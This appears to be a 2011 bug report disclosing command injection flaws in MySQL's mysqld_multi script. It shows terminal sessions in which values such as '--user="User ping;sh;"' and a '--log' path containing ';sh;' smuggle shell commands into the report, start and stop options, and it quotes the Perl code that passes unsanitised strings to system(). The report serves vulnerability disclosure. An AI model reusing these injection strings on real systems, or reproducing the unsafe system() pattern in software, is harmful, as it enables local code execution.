command injections in mysqld_multi

Binary package hint: mysql-server-5.1

/usr/bin/mysqld_multi have command injection bugs .

test case :
emanuel@emanuel-desktop:/tmp$ /usr/bin/mysqld_multi --example --silent > /tmp/mysqld_multi_example
1 ) report option :
emanuel@emanuel-desktop:/tmp$ /usr/bin/mysqld_multi --defaults-file=/tmp/mysqld_multi_example --user="User ping;sh;" report --silent
mysqld_multi log file version 2.16; run: Fri May 13 19:41:26 2011
Reporting MySQL servers
/usr/bin/mysqladmin: connect to server at 'localhost' failed
error: 'Access denied for user 'User'@'localhost' (using password: NO)'
$

2 ) start option :
emanuel@emanuel-desktop:/tmp$ /usr/bin/mysqld_multi --defaults-file=/tmp/mysqld_multi_example --log="/tmp/mlog;echo SystemInj;sh;echo 1" start
SystemInj
$

3 ) stop option
emanuel@emanuel-desktop:/tmp$ /usr/bin/mysqld_multi --defaults-file=/tmp/mysqld_multi_example --user="User ping;sh;" stop --silent
mysqld_multi log file version 2.16; run: Fri May 13 19:42:59 2011
Stopping MySQL servers
/usr/bin/mysqladmin: connect to server at 'localhost' failed
error: 'Access denied for user 'User'@'localhost' (using password: NO)'
$

the bug can be found at :
1 ) sub report_mysqlds

    $com= get_mysqladmin_options($i, @groups);
    $com.= " ping >> /dev/null 2>&1";
    system($com);

2 ) sub start_mysqlds()

    $com.= $tmp;
    $com.= " >> $opt_log 2>&1" if (!$opt_no_log);
    $com.= " &";
    system($com);

3 ) sub stop_mysqlds()

    $com= get_mysqladmin_options($i, @groups);
    $com.= " shutdown";
    $com.= " >> $opt_log 2>&1" if (!$opt_no_log);
    $com.= " &";
    system($com);